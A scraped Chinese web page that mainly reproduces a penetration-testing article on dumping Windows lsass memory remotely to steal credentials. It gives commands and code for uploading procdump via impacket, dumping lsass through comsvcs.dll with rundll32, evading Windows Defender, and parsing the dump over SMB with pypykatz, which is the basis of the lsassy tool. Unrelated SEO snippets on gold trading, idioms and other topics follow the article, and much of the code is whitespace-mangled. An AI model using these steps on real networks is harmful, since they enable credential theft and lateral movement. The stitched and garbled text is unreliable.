lsassexe是什么进程(xp出现lsass错误无法开机)
lsass exe是什么进程(xp出现lsass错误无法开机)
在企业渗透测试中,横向移动感染和权限提升是测试攻击范围和扩大攻击力的两个必选项。有多种方法可以实现其中一种,但是今天我们将介绍一种远程读取lsass转储内容的新技术,这将极大地减少在一组计算机上提取密码时的延迟和检测。
lsass.exe是一个系统重要进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。如果结束该进程,会出现不可知的错误。注意:lsass.exe也有可能是Windang.worm、irc.ratsou.b、Webus.B、MyDoom.L、Randex.AR、Nimos.worm等病毒创建的,病毒通过软盘、群发邮件和P2P文件共享进行传播。
CrackMapExec
CrackMapExec(CME)是一款后渗透利用工具,可帮助自动化大型活动目录(AD)网络安全评估任务。该工具利用AD内置功能/协议达成其功能,并规避大多数终端防护/IDS/IPS解决方案。
CrackMapExec工具由Byt3bl33d3r开发和维护的,其目的是异步地能够在一组计算机上执行操作。该工具允许你使用域或本地帐户以及密码或LM-NT哈希在远程计算机上进行身份验证。
CrackMapExec是采用模块化方式开发的,可以创建该工具在登录到计算机时将执行的自己的模块。模块已经很多了,例如枚举不同的信息(DNS,Chrome凭据,已安装的防病毒软件)模块,BloodHound构建器的执行或在"组策略首选项"中查找凭据的模块。BloodHound是一个独立的Javascript Web应用程序,基于Linkurious构建,使用Electron编译,其中Neo4j数据库由PowerShell ingestor提供。
Mimikatz模块
特别是有一个模块,它在一段时间内非常有效,那就是Mimikatz模块。CrackMapExec在远程计算机上运行Mimikatz,以从lsass内存或本地安全权限子系统提取凭据。lsass包含所有安全服务提供者或SSP,它们是管理不同类型身份验证的数据包。出于实际原因,用户输入的凭据通常保存在这些SSP中,这样用户就不必在几秒或几分钟后再次输入它们。
这就是为什么Mimikatz提取位于这些不同ssp中的信息,就是因为试图找到一些身份验证机密,并将它们显示给攻击者。因此,如果一个权限帐户连接到其中一台受感染的主机,则Mimikatz模块允许你快速提取它的凭证,从而利用这个帐户的权限来攻击更多的目标。
但是今天,大多数杀毒软件已经可以检测到Mimikatz的存在或执行,并阻止它,所以CrackMapExec模块只是挂起,等待来自服务器的响应,但由于进程被杀死而无法获取。
手动方式:Procdump
因此,我过去常常使用名为Procdump的工具手动完成此任务。
Procdump是Sysinternals套件中的一个工具,由Marc Russinovich编写,旨在帮助系统管理员。目前,这个工具集已经被大量的管理员和开发人员采用,所以微软在2006年决定购买它,并且这些可执行文件现在已经由微软签署,因此Windows认为它们是合法的。
procdump工具就是这些工具中的一种,它的任务是转储正在运行的进程内存。它会附加到进程,读取其内存并将其写入文件。procdump--accepteula-maprocessus_dump.dmp
如前所述,Mimikatz在lsass内存中寻找凭证。因此,可以将lsass内存转储到主机上,在本地下载其转储,并使用Mimikatz提取凭据。
Procdump可用于转储lsass,因为它被认为是合法的,因此不会被视为恶意软件。
例如,使用套件impacket中的smbclient.py将procdump发送到服务器。
smbclient.pyADSEC.LOCAL/jsnow@DC01.adsec.local#useC$#cdWindows#cdTemp#putprocdump.exe
上传后,需要执行procdump来创建此lsass转储。
psexec.pyadsec.local/jsnow@DC01.adsec.local"C:\\Windows\\Temp\\procdump.exe-accepteula-malsassC:\\Windows\\Temp\\lsass.dmp"
然后,需要将转储文件下载到攻击者的主机上,并删除远程主机上的跟踪记录。
#getlsass.dmp#delprocdump.exe#dellsass.dmp
可以使用Mimikatz检索凭证:第一行加载内存转储,第二行检索秘密。
sekurlsa::minidumplsass.dmpsekurlsa::logonPasswords
该技术非常实用,因为它不会产生太多噪音,并且仅在目标主机上使用合法的可执行文件。
限制与改进
这种方法有不同的局限性,我们将在此处概述它们,并提出改进措施以解决这些问题。
Linux / Windows
第一个问题是,在测试期间,无论是用于Web测试还是用于内部测试,我主要使用Linux,而Mimikatz是专门为Windows开发的工具,最好能够在Linux计算机上执行上述攻击链。
幸运的是,Skelsec的Pypykatz项目可以帮助我们解决此问题。Skelsec在纯python中开发了Mimikatz的部分实现,这意味着跨平台。像Mimikatz一样,这个工具让我们能够提取lsass转储的秘密。
pypykatzlsaminidumplsass.dmp
由于有了这个项目,现在可以在Linux计算机上执行所有操作。上一节中介绍的所有步骤均适用,并且将lsass dump下载到攻击者的主机后,pypykatz用于从此转储中提取用户名和密码或NT哈希。
到目前为止一切顺利,让我们继续。
Windows Defender
现在说说由第二个由Windows防御程序引起的限制,尽管从Windows角度来看,procdump是值得信赖的工具,但Windows Defender认为转储lsass是可疑活动。转储过程完成后,Windows Defender会在几秒钟后删除转储。如果我们的连接性很好,并且转储不太大,则可以在将其删除之前先下载它。
这对我来说太随意了,在查看了procdump文档之后,我意识到也可以为它提供一个进程标识符(PID)。令人惊讶的是,通过为其提供lsass PID,Windows Defender不再抱怨。
此时,我们只需要使用命令tasklist查找lsass PID。>tasklist/fi"imagenameeqlsass.exe"ImageNamePIDSessionNameSession#MemUsage======================================================================== lsass.exe640Services015,584K
一旦检索到此PID,就可以将其与procdump一起使用。procdump-accepteula-ma640lsass.dmp
然后,我们有足够的时间下载转储文件,然后在本地分析它。
手动方式
发送远程主机的procdump、执行它并检索转储,这些工作都非常完美,但是这是一个非常非常慢的过程。
在本文开头,我们讨论了CrackMapExec及其模块性,这就是为什么我编写了一个模块来自动执行此"攻击"的原因。该模块会将procdump上传到目标,执行它,从lsass检索转储,然后针对CrackMapExec参数中指定的每个目标使用pypykatz对其进行分析。
该模块运行良好,但是需要很长时间才能运行。由于文件太大,有时在下载大型转储文件时甚至会超时。但是,我们需要使该过程更快。
转储文件大小
现在,借助新的CrackMapExec模块,我们可以将lsass转储到远程主机上,并在本地和自动在Linux主机上对其进行分析。但是,进程内存转储大于几个字节,甚至几个千字节。对于lsass转储,它们可以是几兆字节,甚至几十兆字节。在我的测试期间,一些转储竟超过了150MB。
如果要自动化此过程,我们将必须找到解决方案,因为在200台计算机的子网上下载lsass转储将导致下载数十G数据。一方面,这将花费很长时间,尤其是对于其他国家/地区的全球远程计算机而言,另一方面,安全团队可能会检测到异常的网络流量。
到目前为止,我们已经有了解决问题的工具,但是这次,我们将不得不手动操作。
我们将继续使用pypykatz从lsass转储中提取凭证,由于我们只希望procdump上传远程主机,因为它是由微软签署的,所以我们不能上传pypykatz。
考虑到这一点,我们将使用的方法特点如下:为了分析本地转储,pypykatz必须打开文件并以不同的偏移量读取字节。 Pypykats不会读取太多数据,它只需要读取特定偏移量的特定数据量即可。
为了提高效率,我们的想法是在远程目标上的转储上远程读取这些偏移量和这些地址,并且只下载包含预期信息的少量转储。
因此,让我们看一下pypykatz的工作原理。到目前为止,我们一直在使用的命令行如下:pypykatzlsaminidumplsass.dmp
在pypykate中,LSACMDHelper类处理lsa参数。当我们为其提供lsass转储时,将调用run()方法,这段代码可以在以下方法中找到:######Minidumpelifargs.cmd=='minidump':ifargs.directory: dir_fullpath=os.path.abspath(args.memoryfile) file_pattern='*.dmp'ifargs.recursive==True: globdata=os.path.join(dir_fullpath,'**',file_pattern) else: globdata=os.path.join(dir_fullpath,file_pattern) logging.info('Parsingfolder%s'%dir_fullpath) forfilenameinglob.glob(globdata,recursive=args.recursive): logging.info('Parsingfile%s'%filename) try: mimi=pypykatz.parse_minidump_file(filename) results[filename]=mimi exceptExceptionase: files_with_error.append(filename) logging.exception('Errorparsingfile%s'%filename) ifargs.halt_on_error==True: raisee else: pass
lsass转储解析是在以下行实现的:mimi=pypykatz.parse_minidump_file(filename)
该方法在pypykatz.py文件中定义:fromminidump.minidumpfileimportMinidumpFile""""""@staticmethoddefparse_minidump_file(filename): try: minidump=MinidumpFile.parse(filename) reader=minidump.get_reader().get_buffered_reader() sysinfo=KatzSystemInfo.from_minidump(minidump) exceptExceptionase: logger.exception('Minidumpparsingerror!') raisee try: mimi=pypykatz(reader,sysinfo) mimi.start() exceptExceptionase: #logger.info('Credentialsparsingerror!')mimi.log_basic_info()raisee returnmimi
据估计,它是minidump包中的MinidumpFile类,用于处理解析。我们需要更深入一点,专注于小型转储。
在Minidumpfile类中,解析方法描述如下:@staticmethoddefparse(filename): mf=MinidumpFile() mf.filename=filename mf.file_handle=open(filename,'rb') mf._parse() returnmf
这是我们正在寻找的代码,我们尝试分析的lsass转储被打开,然后被解析。解析仅在文件对象上使用read,seek和tell方法。
除了在远程文件上,我们只需要编写一些代码来实现这些方法即可。为此,我们将使用Impacket。""" 'open'isrewrittentoopenandreadaremotefile """classopen(object):def__init__(self,fpath,mode):domainName,userName,password,hostName,shareName,filePath=self._parseArg(fpath) """ ImpacketSMBConnexionisachildclassofimpacketwrittentosimplifythecode """self.__conn=ImpacketSMBConnexion(hostName,userName,password,domainName) self.__fpath=filePath self.__currentOffset=0self.__tid=self.__connectTree(shareName) self.__fid=self.__conn.openFile(self.__tid,self.__fpath) """ Parse"filename"toextractremotecredentialsandlsassdumplocation """def_parseArg(self,arg):pattern=re.compile(r"^(?P[a-zA-Z0-9.-_]+)/(?P[^:]+):(?P[^@]+)@(?P[a-zA-Z0-9.-]+):/(?P[^/]+)(?P/(?:[^/]*/)*[^/]+)$") matches=pattern.search(arg) ifmatchesisNone: raiseException("{}isnotvalid.Expectedformat:domain/username:password@host:/share/path/to/file".format(arg)) returnmatches.groups() defclose(self):self.__conn.close() """ Read@sizebytes """defread(self,size):ifsize==0: returnb''value=self.__conn.readFile(self.__tid,self.__fid,self.__currentOffset,size) returnvalue """ Moveoffsetpointer """defseek(self,offset,whence=0):ifwhence==0: self.__currentOffset=offset """ Returncurrentoffset """deftell(self):returnself.__currentOffset
因此,我们有了在网络共享上进行身份验证的新类,并且可以使用上述方法读取远程文件。如果我们告诉minidump使用这个类而不是传统的open方法,那么minidump会毫不犹豫地读取远程内容。
minidumpadsec.local/jsnow:Winter_is_coming_\!@DC01.adsec.local:/C$/Windows/Temp/lsass.dmp
同样,由于pypykatz使用的是minidump,所以它可以分析远程转储而不需要完全下载它。
pypykatzlsaminidumpadsec.local/jsnow:Winter_is_coming_\!@DC01.adsec.local:/C$/Windows/Temp/lsass.dmp
优化
现在,我们有了一种远程读取和分析lsass转储的方法,而不必在我们的计算机上下载完整的150MB转储,这是向前迈出的一大步!
但是,即使我们不必下载所有内容,转储也要花费很长时间,这几乎与下载整个东西一样多。这是由于每个minidump每次要读取几个字节时,都会向远程服务器发出新请求。这是非常低效的,当我们记录一些读调用时,才意识到minidump发出了许多4字节的请求。
为了克服这个问题,我实现了一个解决方案,即创建一个本地缓冲区,并在请求期间强制读取最少的字节数,以减少开销。如果一个请求需要的字节少于4096,那么我们仍然会请求4096字节,我们将在本地保存这些字节,并且我们只会将第一个字节返回给minidump。
在接下来对read函数的调用中,如果请求的数据大小在本地缓冲区中,则直接返回本地缓冲区,这要快得多。另一方面,如果数据不在缓冲区中,则将请求一个4096字节的新缓冲区。
该优化非常有效,因为minidump会执行大量并发读取。实施方法如下:defread(self,size):""" Returnanemptystringif0bytesarerequested """ifsize==0: returnb'' if(self.__buffer_data["offset"]<=self.__currentOffsetself.__currentOffset+size): """ Ifrequestedbytesareincludedinlocalbufferself.__buffer_data["buffer"],wereturnthesesbytesdirectly """value=self.__buffer_data["buffer"][self.__currentOffset-self.__buffer_data["offset"]:self.__currentOffset-self.__buffer_data["offset"]+size] else: """ Else,werequestthesebytestotheremotehost """self.__buffer_data["offset"]=self.__currentOffset """ Iftherequestasksforlessthenself.__buffer_min_sizebytes,wewillstillaskforself.__buffer_min_sizebytesandwewillsavetheminthelocalbufferfornextcalls. """ifsize<self.__buffer_min_size: value=self.__conn.readFile(self.__tid,self.__fid,self.__currentOffset,self.__buffer_min_size) self.__buffer_data["size"]=self.__buffer_min_size self.__total_read+=self.__buffer_min_size else: value=self.__conn.read(self.__tid,self.__fid,self.__currentOffset,size) self.__buffer_data["size"]=size self.__total_read+=size self.__buffer_data["buffer"]=value self.__currentOffset+=size """ Returnwhatwasasked,nomore. """returnvalue[:size]
这种优化大大节省了时间,下面是在我的计算机上做的一个基准测试:$pythonno_opti.pyFunction=minidump,Time=39.831733942$pythonopti.pyFunction=minidump,Time=0.897719860077
如果不进行此优化,则脚本将花费大约40秒钟来运行,而如果进行了优化,则将花费不到一秒钟的时间。这意味着,在小于150 MB的远程lsass转储中,提取身份验证秘密的时间不到一秒钟!
从方程式中删除Procdump
我们当前的技术是依靠Procdump转储lsass内存,但是,尽管它是由Microsoft签署的,但我发现不使用它更干净,而改用Microsoft内置工具。
C:\Windows\System32中有一个名为comsvcs.dll的DLL,它在进程崩溃时转储进程内存。该DLL包含一个名为MiniDumpW的函数,该函数已编写,因此可以使用rundll32.exe进行调用。
前两个参数未使用,但第三个参数分为三部分。第一部分是将要转储的进程ID,第二部分是转储文件位置,第三部分是单词full,没有其他选择。
一旦解析了这3个参数,基本上该DLL将创建转储文件,并将指定的进程转储到该转储文件中。
由于有了此功能,我们可以使用comsvcs.dll来转储lsass进程,而不用上传procdump并执行它。rundll32.exeC:\Windows\System32\comsvcs.dllMiniDump"lsass.dmpfull"
我们只需要记住,该技术只能作为SYSTEM执行。
CrackMapExec模块
使用此新工具,我修改了CrackMapExec模块,以便它从lsass转储中远程提取密码。
由于pypykatz和minidump仅在python3.6以前的版本中运行,而CrackMapExec尚不兼容python3,因此我目前无法发出拉取请求,也无法将pypykatz导入到我的模块中。目前,对pypykatz的调用是通过调用我的工具的新进程完成的。
mpgn正在使用适用于python 3的CrackMapexec。
新开发的工具
本文有两个我写的工具,你可以使用这个技巧:
我的Github或Pypi上都有lsassy,此工具使用DLL技术或Procdump技术使用本文中讨论的所有研究来远程转储lsass。
CrackMapExec模块允许你通过在远程主机上执行lsass转储,并使用lsassy提取登录用户的凭据来自动化整个过程。通过使用Bloodhound收集的数据,还可以检测具有攻击路径的帐户成为域管理员。
很多的成语有哪些(很多的文具成语有哪些)北京头条好多成语都没有听过,更不知什么意思,还是要多学习。2021城事好学,不耻下问,好多成语第一次出现,突然间发现,自己所知有限,还要继续努力学习。冬日生活打卡季博大精深的汉语,
坪山怎么样(龙岗和坪山谁更有潜力)光明中心区坪山中心区,是目前深圳刚需置业的热点区域。不管是新出来的楼盘,还是未来的片区的利好规划,家在里总有人探讨,但是,坪山光明这两个片区之中,怎么选择呢?家在网友xmwu561
电影有哪些好看的(2020年最火爆的电影)金刚川2020年已经过去,精彩的电影就像大餐摆放在餐桌上一样,令人目不暇接。那么有哪些电影是值得一看的呢。这里列了10部电影的清单,总共观影人数超过一个亿,豆瓣评论人数超过300W
内圣外王(东方文化的精华内圣外王之道)内圣外王(东方文化的精华内圣外王之道)孟子全书最重要的就是公孙丑这篇。这篇的重点,我们拿旧的观念来讲,就是内圣外王的修养方法。但是我们过去读孟子,乃至现代人看孟子,很容易忽略了这一
纸有哪些品牌(生活用纸十大名牌纸)在现代人生活中,纸巾已经成为人们生活中必不可少的用品之一。我国作为拥有14亿人口的大国,纸巾消费量的背后孕育着巨大的消费市场。在这个大市场下,我国诞生了1000多家生产纸巾的企业,
异常有哪些(异常感染)对女性来说,保持良好的生活习惯和远离妇科疾病是很重要的,因为妇科疾病有着广泛的影响。女性妇科疾病也相对比较常见,也可以说大多数女生或少多少都会染上一点妇科疾病,特别白带异常。那么白
被动收入有哪些(搜索如何建立自己的被动收入)点击上方,每日为您分享自媒体财商个人日精进最近不是在学习财商吗?今天学到了要想财富自由,就必须要会配置财商的五大资产,太厉害了,分享给大家,记得哦,后面都会继续分享。之前分享过,要
同位素有哪些(下面是同位素的是)科技名词同位素isotope定义质子数相同而中子数不同的原子的总称。它们有相同的原子序数,在周期表上位于同一位置,但由于中子数不同而具有不同的质量数。学科化学无机化学元素及无机化学
美容方法有哪些(方法)我们把注意力转向美。让你大饱眼福吧,看看我们最喜欢的50条美容小贴士。从基本的美容守则(每天涂防晒霜)到禁忌守则(避免挤痘痘),还有鲜为人知的秘密(啤酒和醋漂洗?),你会找到让你保
以撒有哪些(以撒安卓)本文首发于JumpxSwitch,未经授权,不得复制转载投稿邮箱tougaovgjump。com投稿后7日内回复,一经采纳,即付稿酬以撒的结合是一款相当传奇的独立游戏,自2011年
江西有哪些(江西省什么市)江西省是我国南方重要的省份,目前共有11个地级市,12个县级市,61个县。下面让我们看看哪些县级城市可以进入到江西的10大名县市吧1井冈山市吉安市管辖。井冈山市是我国著名的红色根据
电脑文件如何加密(电脑重要文档怎么加密)日常使用电脑过程中,总会有一些比较重要或者比较隐私的文件,不想被别人看到。那么,我们就需要对这些文件进行加密。当然,我们可以将这些文件都放在一个隐私文件夹,然后将该文件夹加密起来。
如何对电脑文件夹加密(电脑桌面文件夹密码加密)电脑使用久了,肯定有很多文件是不想给别人看到的,如果从事特殊行业的,某些机密文件也是需要加密起来的。如果你也有这些只希望自己能看到并使用,不希望别人访问的文件夹,那么就需要一个好用
如何给电脑文件夹加密(文件夹不压缩直接加密设置密码)偶尔因为工作原因,电脑可能会被其他人借用,但是一些重要文件绝密资料放到电脑里,不想被别人看到,要怎么办呢?今天小编就教你们4种文件加密方法,赶紧收藏学起来!1。隐藏文件夹第一种方法
微博怎么解绑手机号(微博怎么绕过手机验证)想换个手机号比如移动新上线的198号段但是之前的号码绑定了一大堆APP各种账号像微博支付宝淘宝银行卡等等今天为你带来解绑秘籍要更换手机号码的小伙伴老号码绑定的账号还没来得及解绑的小
上海黄金交易所网站(上海黄金交易所个人开户)上海黄金交易所网站(上海黄金交易所个人开户)和讯黄金消息12月25日,上海黄金交易所发布关于继续免收2019年国际会员及国际客户仓储费出入库费等费用的公告。为鼓励国际会员及国际客户
纸黄金点差(纸黄金怎么交易开户)纸黄金点差(纸黄金怎么交易开户)纸黄金交易在纸黄金买卖交易过程中,由于银行与个人投资者之间不发生实物黄金提取和交收的二次清算交割行为,从而减免了黄金交易中的成色鉴定重量检测等手续,
如何炒纸黄金入门(纸黄金交易入门要怎么做?)如何炒纸黄金入门(纸黄金交易入门要怎么做?)纸黄金交易入门要怎么做?从最基本的逻辑和经验来看,我们首先要了解纸黄金入门的一些基础知识。那么,实践中具体是哪些知识呢?纸黄金交易入门要
什么是黄金期货(黄金有期货交易吗)黄金期货和黄金现货都是黄金市场十分火热的投资产品,有的人投资黄金喜欢投资期货,而有的人则喜欢现货黄金。都是黄金投资产品,黄金期货与黄金现货有哪些区别呢?今天百利好就为大家分析分析。
黄金如何交易(黄金回收多少钱一克)今天是2021年12月23日,星期四,我在福建厦门写这篇文章寄语我一直坚持的一个信念是,改变不了大环境,就改变小环境,做自己力所能及的事情。你不能决定太阳几点升起,但可以决定自己几
怎么把照片背景换掉?(如何将图片的背景颜色进行更换?)怎么把照片背景换掉?(如何将图片的背景颜色进行更换?)在我们日常娱乐和日常工作中,如果对自己拍照的背景不喜欢该怎么办呢?如何才能将图片的背景颜色进行修改呢?使用手机软件也能完成吗?
如何去掉图片背景(粘贴的图片怎么去掉底色)伙伴们,您是否遇到过在wps文档编辑过程中需要把插入的图片背景抠出,苦于没有捷径而苦恼,下面本人结合自己长时间的办公室工作经历给大家分享一个使用技巧首先我们把要插入的图片放到wps